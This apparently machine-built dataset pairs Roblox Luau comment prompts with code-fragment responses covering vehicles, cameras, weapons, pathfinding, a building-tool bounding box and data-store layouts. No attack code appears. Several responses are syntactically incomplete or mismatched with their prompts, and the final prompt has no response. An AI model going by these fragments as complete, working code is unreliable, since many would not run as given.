Prompt: --sound.ScriptWestMinsterChimes.Disabled=true

Response:
sound.ScriptOff.Disabled=false
sound2.ScriptOff.Disabled=false

wait(4)

end
wait()
end


Prompt: --[[Flip]]

Response:
	function Flip()
		--Detect Orientation
		if (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then
			FlipWait=tick()

		--Apply Flip
		else
			if tick()-FlipWait>=3 then
				FlipDB=true
				local gyro = car.DriveSeat.Flip
				gyro.maxTorque = Vector3.new(10000,0,10000)
				gyro.P=3000
				gyro.D=500
				wait(1)
				gyro.maxTorque = Vector3.new(0,0,0)
				gyro.P=0
				gyro.D=0
				FlipDB=false
			end
		end
	end


Prompt:
--[[
	Main RenderStep Update. The camera controller and occlusion module both have opportunities
	to set and modify (respectively) the CFrame and Focus before it is set once on CurrentCamera.
	The camera and occlusion modules should only return CFrames, not set the CFrame property of
	CurrentCamera directly.
--]]

Response:
function CameraModule:Update(dt)
	if self.activeCameraController then
		self.activeCameraController:UpdateMouseBehavior()

		local newCameraCFrame, newCameraFocus = self.activeCameraController:Update(dt)

		if self.activeOcclusionModule then
			newCameraCFrame, newCameraFocus = self.activeOcclusionModule:Update(dt, newCameraCFrame, newCameraFocus)
		end

		-- Here is where the new CFrame and Focus are set for this render frame
		local currentCamera = game.Workspace.CurrentCamera :: Camera
		currentCamera.CFrame = newCameraCFrame
		currentCamera.Focus = newCameraFocus

		if CameraInput.getInputEnabled() then
			CameraInput.resetInputForFrameEnd()
		end
	end
end


Prompt: -- Fade out

Response:
for _,Part in pairs(script.Parent:GetDescendants()) do
	if Part:IsA("BasePart") then
		game:GetService("TweenService"):Create(Part, TweenInfo.new(1), {Transparency = 1}):Play()
	elseif Part:IsA("TextLabel") then
		game:GetService("TweenService"):Create(Part, TweenInfo.new(1), {TextTransparency = 1}):Play()
		game:GetService("TweenService"):Create(Part, TweenInfo.new(1), {TextStrokeTransparency = 1}):Play()
	end
end
task.wait(1)
script.Parent:Destroy()


Prompt: --- Sets a list of keyboard keys (Enum.KeyCode) that can be used to open the commands menu

Response:
function Cmdr:SetActivationKeys (keysArray)
	self.ActivationKeys = Util.MakeDictionary(keysArray)
end


Prompt: -- THIS SCRIPT STAYS UNDISABLED

Response:
local Players = game:GetService("Players")
local LobbySpawn =  workspace.Lobby.Spawn.CFrame -- Your Spawn Location CFrame
local VotingREFolder = game.ReplicatedStorage.VotingRE
local Winners = {}
	VotingREFolder.Transition:FireAllClients()

	for _,  player in pairs (Players:GetPlayers()) do
	if player.InGame.Value == true then
			player.leaderstats.Wins.Value += 1
			player.Character.HumanoidRootPart.CFrame = LobbySpawn
			table.insert(Winners, player.Name)
			print(Winners)
			player.InGame.Value = false
	else
		print("No Players!")
		end
	end

	for _, child in pairs(workspace:GetChildren()) do
		if child:IsA("Model") and child:FindFirstChild("SpawnPoints") then
			child:Destroy()
		end
	end

	VotingREFolder.RoundFinished:FireAllClients(Winners)

	wait(3) -- Transition wait
	wait(18) -- Winners Announce Wait

	Winners = {}

script.Parent.PlayerCount:Destroy()

script.Parent.Disabled = false
script.Disabled = true


Prompt:
-- [Head, Torso, HumanoidRootPart], "Torso" and "UpperTorso" works with both R6 and R15.
-- Also make sure to not misspell it.

Response:
local PartToLookAt = "Head" -- What should the npc look at. If player doesn't has the specific part it'll looks for RootPart instead.

local LookBackOnNil = false -- Should the npc look at back straight when player is out of range.

local SearchLoc = {workspace} -- Will get player from these locations


Prompt: --[[ Public API ]]

Response:
--
function MasterControl:Init()
	RunService:BindToRenderStep("MasterControlStep", Enum.RenderPriority.Input.Value, updateMovement)
end

function MasterControl:Enable()
	areControlsEnabled = true
	isJumpEnabled = true

	if self.ControlState.Current then
		self.ControlState.Current:Enable()
	end
end

function MasterControl:Disable()

	if self.ControlState.Current then
		self.ControlState.Current:Disable()
	end

	--After current control state is disabled, moveValue has been set to zero,
	--Call updateMovement one last time to make sure this propagates to the engine -
	--Otherwise if disabled while humanoid is moving, humanoid won't stop moving.
	updateMovement()

	isJumping = false
	areControlsEnabled = false
end

function MasterControl:EnableJump()
	isJumpEnabled = true
	if areControlsEnabled and self.ControlState:IsTouchJumpModuleUsed() then
		self.TouchJumpModule:Enable()
	end
end

function MasterControl:DisableJump()
	isJumpEnabled = false
	if self.ControlState:IsTouchJumpModuleUsed() then
		self.TouchJumpModule:Disable()
	end
end

function MasterControl:AddToPlayerMovement(playerMoveVector)
	moveValue = Vector3.new(moveValue.X + playerMoveVector.X, moveValue.Y + playerMoveVector.Y, moveValue.Z + playerMoveVector.Z)
end

function MasterControl:GetMoveVector()
	return moveValue
end

function MasterControl:SetIsJumping(jumping)
	if not isJumpEnabled then return end
	isJumping = jumping
	local humanoid = self:GetHumanoid()
	if humanoid and not humanoid.PlatformStand then
		humanoid.Jump = isJumping
	end
end

function MasterControl:DoJump()
	if not isJumpEnabled then return end
	local humanoid = self:GetHumanoid()
	if humanoid then
		humanoid.Jump = true
	end
end

return MasterControl


Prompt: --// Renders

Response:
local L_163_

L_105_:connect(function()
	if L_15_ then
		L_158_, L_159_ = L_158_ or 0, L_159_ or 0
		if L_161_ == nil or L_160_ == nil then
			L_161_ = L_45_.C0
			L_160_ = L_45_.C1
		end

		local L_273_ = (math.sin(L_152_ * L_154_ / 2) * L_153_)
		local L_274_ = (math.sin(L_152_ * L_154_) * L_153_)
		local L_275_ = CFrame.new(L_273_, L_274_, 0.02)

		local L_276_ = (math.sin(L_148_ * L_151_ / 2) * L_150_)
		local L_277_ = (math.cos(L_148_ * L_151_) * L_150_)
		local L_278_ = CFrame.new(L_276_, L_277_, 0.02)

		if L_145_ then
			L_152_ = L_152_ + .017
			if L_24_.WalkAnimEnabled == true then
				L_146_ = L_275_
			else
				L_146_ = CFrame.new()
			end
		else
			L_152_ = 0
			L_146_ = CFrame.new()
		end

		L_144_.t = Vector3.new(L_139_, L_140_, 0)
		local L_279_ = L_144_.p
		local L_280_ = L_279_.X / L_141_ * (L_63_ and L_143_ or L_142_)
		local L_281_ = L_279_.Y / L_141_ * (L_63_ and L_143_ or L_142_)

		L_5_.CFrame = L_5_.CFrame:lerp(L_5_.CFrame * L_147_, 0.2)

		if L_63_ then
			L_135_ = CFrame.Angles(math.rad(-L_280_), math.rad(L_280_), math.rad(L_281_)) * CFrame.fromAxisAngle(Vector3.new(5, 0, -1), math.rad(L_280_))
			L_148_ = 0
			L_149_ = CFrame.new()
		elseif not L_63_ then
			L_135_ = CFrame.Angles(math.rad(-L_281_), math.rad(-L_280_), math.rad(-L_280_)) * CFrame.fromAxisAngle(L_44_.Position, math.rad(-L_281_))
			L_148_ = L_148_ + 0.017
			L_149_ = L_278_
		end

		if L_24_.SwayEnabled ==  true then
			L_45_.C0 = L_45_.C0:lerp(L_161_ * L_135_ * L_146_ * L_149_, 0.1)
		else
			L_45_.C0 = L_45_.C0:lerp(L_161_ * L_146_, 0.1)
		end

		if L_66_ and not L_69_ and L_71_ and not L_63_ and not L_65_ and not Shooting then
			L_45_.C1 = L_45_.C1:lerp(L_45_.C0 * L_24_.SprintPos, 0.1)
		elseif not L_66_ and not L_69_ and not L_71_ and not L_63_ and not L_65_ and not Shooting and not L_78_ then
			L_45_.C1 = L_45_.C1:lerp(CFrame.new(), 0.1)
		end

		if L_63_ and not L_66_ then
			if not L_64_ then
				L_89_ = L_24_.AimCamRecoil
				L_88_ = L_24_.AimGunRecoil
				L_90_ = L_24_.AimKickback
			elseif L_64_ then
				if L_92_ == 1 then
					L_89_ = L_24_.AimCamRecoil / 1.5
					L_88_ = L_24_.AimGunRecoil / 1.5
					L_90_ = L_24_.AimKickback / 1.5
				end

				if L_92_ == 2 then
					L_89_ = L_24_.AimCamRecoil / 2
					L_88_ = L_24_.AimGunRecoil / 2
					L_90_ = L_24_.AimKickback / 2
				end
			end

			if (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 then
				L_45_.C1 = L_45_.C1:lerp(L_45_.C0 * L_55_.CFrame:toObjectSpace(L_44_.CFrame), L_24_.AimSpeed)

				L_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = true
				L_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_51_
				L_106_.MouseDeltaSensitivity = L_51_
			end
		elseif not L_63_ and not L_66_ and L_15_ and not L_78_ then
			if (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 then
				L_45_.C1 = L_45_.C1:lerp(CFrame.new(), L_24_.UnaimSpeed)

				L_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = false
				L_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_51_
				L_106_.MouseDeltaSensitivity = L_52_
			end

			if not L_64_ then
				L_89_ = L_24_.camrecoil
				L_88_ = L_24_.gunrecoil
				L_90_ = L_24_.Kickback
			elseif L_64_ then
				if L_92_ == 1 then
					L_89_ = L_24_.camrecoil / 1.5
					L_88_ = L_24_.gunrecoil / 1.5
					L_90_ = L_24_.Kickback / 1.5
				end

				if L_92_ == 2 then
					L_89_ = L_24_.camrecoil / 2
					L_88_ = L_24_.gunrecoil / 2
					L_90_ = L_24_.Kickback / 2
				end
			end
		end

		if Recoiling then
			L_147_ = CFrame.Angles(L_89_, 0, 0)
			--cam.CoordinateFrame = cam.CoordinateFrame *  CFrame.fromEulerAnglesXYZ(math.rad(camrecoil*math.random(0,3)), math.rad(camrecoil*math.random(-1,1)), math.rad(camrecoil*math.random(-1,1)))
			L_45_.C0 = L_45_.C0:lerp(L_45_.C0 * CFrame.new(0, 0, L_88_) * CFrame.Angles(-math.rad(L_90_), 0, 0), 0.3)
		elseif not Recoiling then
			L_147_ = CFrame.Angles(0, 0, 0)
			L_45_.C0 = L_45_.C0:lerp(CFrame.new(), 0.2)
		end

		if L_64_ then
			L_3_:WaitForChild('Humanoid').Jump = false
		end

		if L_15_ then
			L_5_.FieldOfView = L_5_.FieldOfView * (1 - L_24_.ZoomSpeed) + (L_96_ * L_24_.ZoomSpeed)
			if (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude >= 2 then
				L_89_ = L_24_.AimCamRecoil
				L_88_ = L_24_.AimGunRecoil
				L_90_ = L_24_.AimKickback

				L_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = true
				L_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_51_
				L_106_.MouseDeltaSensitivity = L_51_
			elseif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 and not L_63_ and not L_64_ then
				L_89_ = L_24_.camrecoil
				L_88_ = L_24_.gunrecoil
				L_90_ = L_24_.Kickback

				L_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = false
				L_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_51_
				L_106_.MouseDeltaSensitivity = L_52_
			end
		end

		if L_15_ and L_24_.CameraGo then --and (char.Head.Position - cam.CoordinateFrame.p).magnitude < 2 then
			L_4_.TargetFilter = game.Workspace
			local L_282_ =  L_3_:WaitForChild("HumanoidRootPart").CFrame * CFrame.new(0, 1.5, 0) * CFrame.new(L_3_:WaitForChild("Humanoid").CameraOffset)
			L_48_.C0 = L_8_.CFrame:toObjectSpace(L_282_)
			L_48_.C1 = CFrame.Angles(-math.asin((L_4_.Hit.p - L_4_.Origin.p).unit.y), 0, 0)
			L_106_.MouseIconEnabled = false
		end

		if L_15_ and (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude >= 2 then
			if L_4_.Icon ~= "http://www.roblox.com/asset?id=" .. L_24_.TPSMouseIcon then
				L_4_.Icon = "http://www.roblox.com/asset?id=" .. L_24_.TPSMouseIcon
			end
			L_106_.MouseIconEnabled = true

			if L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then
				L_3_['Right Arm'].LocalTransparencyModifier = 1
				L_3_['Left Arm'].LocalTransparencyModifier = 1
			end
		end;
	end
end)


Prompt: --print("basically nothing")

Response:
        elseif key == "d" then
                d = true


Prompt:
--Make sure to put this script into StarterGui
--you NEED to publish your game for this to work! aka this wont work in studio

Response:
local v6 = game:GetService("TeleportService")
local v10 = game:GetService("Players").LocalPlayer
game:GetService("GuiService").MenuOpened:Connect(function()
	v6:Teleport(game.PlaceId, v10)
end)


Prompt: --Precalculated paths

Response:
local t,f,n=true,false,{}
local r={
[58]={{62,63,20,58},t},
[49]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{62,63,19},t},
[59]={{62,63,20,57,56,30,41,59},t},
[63]={{62,63},t},
[34]={{62,63,20,57,56,30,41,39,35,34},t},
[21]={{62,63,20,21},t},
[48]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48},t},
[27]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{62,63,20,57,56,30,41,39,35,34,32,31},t},
[56]={{62,63,20,57,56},t},
[29]={{62,63,20,57,56,30,41,39,35,34,32,31,29},t},
[13]={n,f},
[47]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28,44,45},t},
[57]={{62,63,20,57},t},
[36]={{62,63,20,57,56,30,41,39,35,37,36},t},
[25]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28,27,26,25},t},
[71]={{62,63,20,57,56,30,41,59,61,71},t},
[20]={{62,63,20},t},
[60]={{62,63,20,57,56,30,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{62,63,20,57,56,30,41,59,61,71,72,76,73,75},t},
[22]={{62,63,20,21,22},t},
[74]={{62,63,20,57,56,30,41,59,61,71,72,76,73,74},t},
[62]={{62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{62,63,20,57,56,30,41,39,35,37},t},
[2]={n,f},
[35]={{62,63,20,57,56,30,41,39,35},t},
[53]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{62,63,20,57,56,30,41,59,61,71,72,76,73},t},
[72]={{62,63,20,57,56,30,41,59,61,71,72},t},
[33]={{62,63,20,57,56,30,41,39,35,37,36,33},t},
[69]={{62,63,20,57,56,30,41,60,69},t},
[65]={{62,63,66,64,65},t},
[26]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28,27,26},t},
[68]={{62,63,66,64,67,68},t},
[76]={{62,63,20,57,56,30,41,59,61,71,72,76},t},
[50]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{62,63,66},t},
[10]={n,f},
[24]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28,27,26,25,24},t},
[23]={{62,23},t},
[44]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28,44},t},
[39]={{62,63,20,57,56,30,41,39},t},
[32]={{62,63,20,57,56,30,41,39,35,34,32},t},
[3]={n,f},
[30]={{62,63,20,57,56,30},t},
[51]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{62,63,66,64,67},t},
[61]={{62,63,20,57,56,30,41,59,61},t},
[55]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{62,63,20,57,56,30,41,39,40,38,42},t},
[40]={{62,63,20,57,56,30,41,39,40},t},
[52]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{62,63,20,57,56,30,41},t},
[17]={n,f},
[38]={{62,63,20,57,56,30,41,39,40,38},t},
[28]={{62,63,20,57,56,30,41,39,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{62,63,66,64},t},
}
return r


Prompt: -- Camera --

Response:
repeat wait() until Player.Character

Camera.CameraType = "Scriptable"
Camera.CFrame = game.Workspace.CamPart.CFrame

script.Parent.Enabled = true

 local MasterControl = require(game.Players.LocalPlayer:WaitForChild("PlayerScripts"):WaitForChild("ControlScript"):WaitForChild("MasterControl"))

 MasterControl:Disable()


Prompt: --Keypress function--

Response:
function Handler(BindName, InputState)
	if InputState == Enum.UserInputState.Begin and BindName == 'RunBind' then
		Running = true
		Humanoid.WalkSpeed = RunningSpeed
		T:Play()
	elseif InputState == Enum.UserInputState.End and BindName == 'RunBind' then
		Running = false
		if RAnimation.IsPlaying then
			RAnimation:Stop()
		end
		Humanoid.WalkSpeed = NormalSpeed
		rT:Play()
	end
end


Prompt: -- shut down the script when we die and reset things

Response:
humanoid.Died:Connect(function()
	stepped_con:Disconnect()
	leftshoulderclone:Destroy()
	rightshoulderclone:Destroy()
	viewmodel:Destroy()
	if rigtype == "R15" then
		if torso:FindFirstChild("Waist") then
			torso.Waist.Enabled = true
			torso.Anchored = false
		end
		armtransparency = 0
		visiblearms(false)
	else
		if rightshoulder then
			rightshoulder.Enabled = true
		end
		if leftshoulder then
			leftshoulder.Enabled = true
		end
		larm.Anchored = false
		rarm.Anchored = false
		armtransparency = 0
		visiblearms(false)
	end
end)


Prompt: --[[Function]]

Response:
--
script.Parent.MouseButton1Click:connect(function()
	if game.Workspace[script.Parent.Parent.billboardText.Text].Head:findFirstChild("BillboardGui") then game.Workspace[script.Parent.Parent.billboardText.Text].Head:findFirstChild("BillboardGui"):Destroy() end
		wait(1)
		local f = Instance.new("TextLabel")
		local b = Instance.new("BillboardGui")
		f.Parent = b
		b.Parent = game.Workspace[script.Parent.Parent.billboardText.Text].Head
		f.Size = UDim2.new(0.5, 0, 0.5, 0)
		b.Size = UDim2.new(5, 0, 5, 0)
		b.StudsOffset = Vector3.new(0, 0, 0)
		b.ExtentsOffset = Vector3.new(1, 0.5, 0)
		f.Text = script.Parent.Parent.billboardTarget.Text
		f.TextColor3 = Color3.new(83, 255, 255)
		f.FontSize = Enum.FontSize.Size10
		f.TextStrokeTransparency = 0
		f.BackgroundTransparency = 1
		b.AlwaysOnTop = true
end)


Prompt: -- SERVICES --

Response:
local HttpService = game:GetService('HttpService')
local MessagingService = game:GetService('MessagingService')
local ReplicatedStorage = game:GetService('ReplicatedStorage')


Prompt: -- Initialize internal module state

Response:
local StaticParts = {};
local StaticPartsIndex = {};
local StaticPartMonitors = {};
local RecalculateStaticExtents = true;
local AggregatingStaticParts = false;
local StaticPartAggregators = {};
local PotentialPartMonitors = {};

function BoundingBoxModule.StartBoundingBox(HandleAttachmentCallback)
	-- Creates and starts a selection bounding box

	-- Make sure there isn't already a bounding box
	if BoundingBoxEnabled then
		return;
	end;

	-- Indicate that the bounding box is enabled
	BoundingBoxEnabled = true;

	-- Create the box
	BoundingBox = Core.Create 'Part' {
		Name = 'BTBoundingBox';
		CanCollide = false;
		Transparency = 1;
		Anchored = true;
		Locked = true;
	};

	-- Make the mouse ignore it
	Core.Mouse.TargetFilter = BoundingBox;

	-- Make sure to calculate our static extents
	RecalculateStaticExtents = true;
	StartAggregatingStaticParts();

	-- Store handle attachment callback
	BoundingBoxHandleCallback = HandleAttachmentCallback;

	-- Begin the bounding box's updater
	BoundingBoxModule.UpdateBoundingBox();
	BoundingBoxUpdater = Support.ScheduleRecurringTask(BoundingBoxModule.UpdateBoundingBox, 0.05);

	-- Attach handles if requested
	if BoundingBoxHandleCallback then
		BoundingBoxHandleCallback(BoundingBox);
	end;

end;

function BoundingBoxModule.GetBoundingBox()
	-- Returns the current bounding box

	-- Get and return bounding box
	return BoundingBox;

end;

function IsPhysicsStatic()
	-- Returns whether the game's physics are active or static

	-- Determine value if not yet cached
	if _IsPhysicsStatic == nil then
		_IsPhysicsStatic = (Core.Mode == 'Plugin') and (Workspace.DistributedGameTime == 0);
	end;

	-- Return cached value
	return _IsPhysicsStatic;

end;

function BoundingBoxModule.UpdateBoundingBox()
	-- Updates the bounding box to fit the selection's extents

	-- Make sure the bounding box is enabled
	if not BoundingBoxEnabled then
		return;
	end;

	-- If the bounding box is inactive, and should now be active, update it
	if InactiveBoundingBox and #Core.Selection.Items > 0 then
		BoundingBox = InactiveBoundingBox;
		InactiveBoundingBox = nil;
		BoundingBoxHandleCallback(BoundingBox);

	-- If the bounding box is active, and there are no parts, disable it
	elseif BoundingBox and #Core.Selection.Items == 0 then
		InactiveBoundingBox = BoundingBox;
		BoundingBox = nil;
		BoundingBoxHandleCallback(BoundingBox);
		return;

	-- Don't try to update the bounding box if there are no parts
	elseif #Core.Selection.Items == 0 then
		return;
	end;

	-- Recalculate the extents of static items as needed only
	if RecalculateStaticExtents then
		BoundingBoxModule.StaticExtents = BoundingBoxModule.CalculateExtents(StaticParts, nil, true);
		RecalculateStaticExtents = false;
	end;

	-- Update the bounding box
	local BoundingBoxSize, BoundingBoxCFrame = BoundingBoxModule.CalculateExtents(Core.Selection.Items, BoundingBoxModule.StaticExtents);
	BoundingBox.Size = BoundingBoxSize;
	BoundingBox.CFrame = BoundingBoxCFrame;

end;

function BoundingBoxModule.ClearBoundingBox()
	-- Clears the selection bounding box

	-- Make sure there's a bounding box
	if not BoundingBoxEnabled then
		return;
	end;

	-- If there's a bounding box updater, stop it
	if BoundingBoxUpdater then
		BoundingBoxUpdater:Stop();
		BoundingBoxUpdater = nil;
	end;

	-- Stop tracking static parts
	StopAggregatingStaticParts();

	-- Delete the bounding box
	if BoundingBox then
		BoundingBox:Destroy();
		BoundingBox = nil;
	elseif InactiveBoundingBox then
		InactiveBoundingBox:Destroy();
		InactiveBoundingBox = nil;
	end;

	-- Mark the bounding box as disabled
	BoundingBoxEnabled = false;

	-- Clear the bounding box handle callback
	BoundingBoxHandleCallback(nil);
	BoundingBoxHandleCallback = nil;

end;

function AddStaticParts(Parts)
	-- Adds the static parts to the list for state tracking

	-- Add each given part
	for _, Part in pairs(Parts) do

		-- Ensure part isn't already indexed, and verify it is static
		if not StaticPartsIndex[Part] and (IsPhysicsStatic() or Part.Anchored) then

			-- Add part to static index
			StaticPartsIndex[Part] = true;

			-- Monitor static part for changes
			AddStaticPartMonitor(Part);

		end;

	end;

	-- Update the static parts list
	StaticParts = Support.Keys(StaticPartsIndex);

	-- Recalculate static extents to include added parts
	RecalculateStaticExtents = true;

end;

function AddStaticPartMonitor(Part)
	-- Monitors the given part to track when it is no longer static

	-- Ensure part is static and isn't already monitored
	if not StaticPartsIndex[Part] or StaticPartMonitors[Part] then
		return;
	end;

	-- Start monitoring part for changes
	StaticPartMonitors[Part] = Part.Changed:connect(function (Property)

		-- Trigger static extent recalculations on position or size changes
		if Property == 'CFrame' or Property == 'Size' then
			RecalculateStaticExtents = true;

		-- Remove part from static index if it becomes mobile
		elseif Property == 'Anchored' and not IsPhysicsStatic() and not Part.Anchored then
			RemoveStaticParts { Part };
		end;

	end);

end;

function RemoveStaticParts(Parts)
	-- Removes the given parts from the static parts index

	-- Remove each given part
	for _, Part in pairs(Parts) do

		-- Remove part from static parts index
		StaticPartsIndex[Part] = nil;

		-- Clean up the part's change monitors
		if StaticPartMonitors[Part] then
			StaticPartMonitors[Part]:disconnect();
			StaticPartMonitors[Part] = nil;
		end;

	end;

	-- Update the static parts list
	StaticParts = Support.Keys(StaticPartsIndex);

	-- Recalculate static extents to exclude removed parts
	RecalculateStaticExtents = true;

end;

function StartAggregatingStaticParts()
	-- Begins to look for and identify static parts

	-- Add current qualifying parts to static parts index
	AddStaticParts(Core.Selection.Items);

	-- Watch for parts that become static
	for Part in pairs(Core.Selection.ItemIndex) do
		AddPotentialPartMonitor(Part);
	end;

	-- Watch newly selected parts
	table.insert(StaticPartAggregators, Core.Selection.ItemsAdded:connect(function (Parts)

		-- Add qualifying parts to static parts index
		AddStaticParts(Parts);

		-- Watch for parts that become anchored
		for _, Part in pairs(Parts) do
			AddPotentialPartMonitor(Part);
		end;

	end));

	-- Remove deselected parts from static parts index
	table.insert(StaticPartAggregators, Core.Selection.ItemsRemoved:connect(function (Parts)
		RemoveStaticParts(Parts);
		for _, Part in pairs(Parts) do
			if PotentialPartMonitors[Part] then
				PotentialPartMonitors[Part]:disconnect();
				PotentialPartMonitors[Part] = nil;
			end;
		end;
	end));

end;

function BoundingBoxModule.RecalculateStaticExtents()
	-- Sets flag indicating that extents of static items should be recalculated

	-- Set flag to trigger recalculation on the next step in the update loop
	RecalculateStaticExtents = true;

end;

function AddPotentialPartMonitor(Part)
	-- Monitors the given part to track when it becomes static

	-- Ensure part is not already monitored
	if PotentialPartMonitors[Part] then
		return;
	end;

	-- Create anchored state change monitor
	PotentialPartMonitors[Part] = Part.Changed:connect(function (Property)
		if Property == 'Anchored' and Part.Anchored then
			AddStaticParts { Part };
		end;
	end);

end;

function BoundingBoxModule.PauseMonitoring()
	-- Disables part monitors

	-- Disconnect all potential part monitors
	for Part, Monitor in pairs(PotentialPartMonitors) do
		Monitor:disconnect();
		PotentialPartMonitors[Part] = nil;
	end;

	-- Disconnect all static part monitors
	for Part, Monitor in pairs(StaticPartMonitors) do
		Monitor:disconnect();
		StaticPartMonitors[Part] = nil;
	end;

	-- Stop update loop
	if BoundingBoxUpdater then
		BoundingBoxUpdater:Stop();
		BoundingBoxUpdater = nil;
	end;

end;

function BoundingBoxModule.ResumeMonitoring()
	-- Starts update loop and part monitors for selected and indexed parts

	-- Ensure bounding box is enabled
	if not BoundingBoxEnabled then
		return;
	end;

	-- Start static part monitors
	for StaticPart in pairs(StaticPartsIndex) do
		AddStaticPartMonitor(StaticPart);
	end;

	-- Start potential part monitors
	for Part in pairs(Core.Selection.ItemIndex) do
		AddPotentialPartMonitor(Part);
	end;

	-- Start update loop
	if not BoundingBoxUpdater then
		BoundingBoxUpdater = Support.ScheduleRecurringTask(BoundingBoxModule.UpdateBoundingBox, 0.05);
	end;

end;

function StopAggregatingStaticParts()
	-- Stops looking for static parts, clears unnecessary data

	-- Disconnect all aggregators
	for AggregatorKey, Aggregator in pairs(StaticPartAggregators) do
		Aggregator:disconnect();
		StaticPartAggregators[AggregatorKey] = nil;
	end;

	-- Remove all static part monitors
	for MonitorKey, Monitor in pairs(StaticPartMonitors) do
		Monitor:disconnect();
		StaticPartMonitors[MonitorKey] = nil;
	end;

	-- Remove all potential part monitors
	for MonitorKey, Monitor in pairs(PotentialPartMonitors) do
		Monitor:disconnect();
		PotentialPartMonitors[MonitorKey] = nil;
	end;

	-- Clear all static part information
	StaticParts = {};
	StaticPartsIndex = {};
	BoundingBoxModule.StaticExtents = nil;

end;


Prompt: --------- DEFAULTS ---------

Response: local defaults = {}


Prompt: --Made by Luckymaxer

Response:
Debris = game:GetService("Debris")

RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create

ProjectileNames = {"Water", "Arrow", "Projectile", "Effect", "Rail", "Laser", "Bullet"}

Functions = {

	FindCharacterAncestor = (function(Object)
		if Object and Object ~= game:GetService("Workspace") then
			local Humanoid = Object:FindFirstChild("Humanoid")
			if Humanoid then
				return Object, Humanoid
			else
				return Functions.FindCharacterAncestor(Object.Parent)
			end
		end
		return nil
	end),

	CheckTableForString = (function(Table, String)
		for i, v in pairs(Table) do
			if string.lower(v) == string.lower(String) then
				return true
			end
		end
		return false
	end),

	CheckIntangible = (function(Hit)
		if Hit and Hit.Parent then
			if Functions.CheckTableForString(ProjectileNames, Hit.Name) then
				return true
			end
			local ObjectParent = Hit.Parent
			local Character = ObjectParent.Parent
			local Humanoid = Character:FindFirstChild("Humanoid")
			if Humanoid and Humanoid.Health > 0 and ObjectParent:IsA("Hat") then
				return true
			end
		end
		return false
	end),

	CastRay = (function(StartPos, Vec, Length, Ignore, DelayIfHit)
		local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore)
		if RayHit and Functions.CheckIntangible(RayHit) then
			if DelayIfHit then
				wait()
			end
			RayHit, RayPos, RayNormal = Functions.CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit)
		end
		return RayHit, RayPos, RayNormal
	end),

	IsTeamMate = (function(Player1, Player2)
		return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
	end),

	TagHumanoid = (function(humanoid, player)
		local Creator_Tag = Create("ObjectValue"){
			Name = "creator",
			Value = player,
		}
		Debris:AddItem(Creator_Tag, 2)
		Creator_Tag.Parent = humanoid
	end),

	UntagHumanoid = (function(humanoid)
		for i, v in pairs(humanoid:GetChildren()) do
			if v:IsA("ObjectValue") and v.Name == "creator" then
				v:Destroy()
			end
		end
	end),

	CheckTableForString = (function(Table, String)
		for i, v in pairs(Table) do
			if string.lower(v) == string.lower(String) then
				return true
			end
		end
		return false
	end),

	Clamp = (function(Number, Min, Max)
		return math.max(math.min(Max, Number), Min)
	end),

	GetPercentage = (function(Start, End, Number)
		return (((Number - Start) / (End - Start)) * 100)
	end),

	Round = (function(Number, RoundDecimal)
		local WholeNumber, Decimal = math.modf(Number)
		return ((Decimal >= RoundDecimal and math.ceil(Number)) or (Decimal < RoundDecimal and math.floor(Number)))
	end),

}

return Functions


Prompt:
--[[
	Saved profile structure:

	DataStoreProfile = {
		Data = {},
		MetaData = {
			ProfileCreateTime = 0,
			SessionLoadCount = 0,
			ActiveSession = {place_id, game_job_id} / nil,
			ForceLoadSession = {place_id, game_job_id} / nil,
			MetaTags = {},
			LastUpdate = 0, -- os.time()
		},
		RobloxMetaData = {},
		UserIds = {},
		GlobalUpdates = {
			update_index,
			{
				{update_id, version_id, update_locked, update_data},
				...
			}
		},
	}

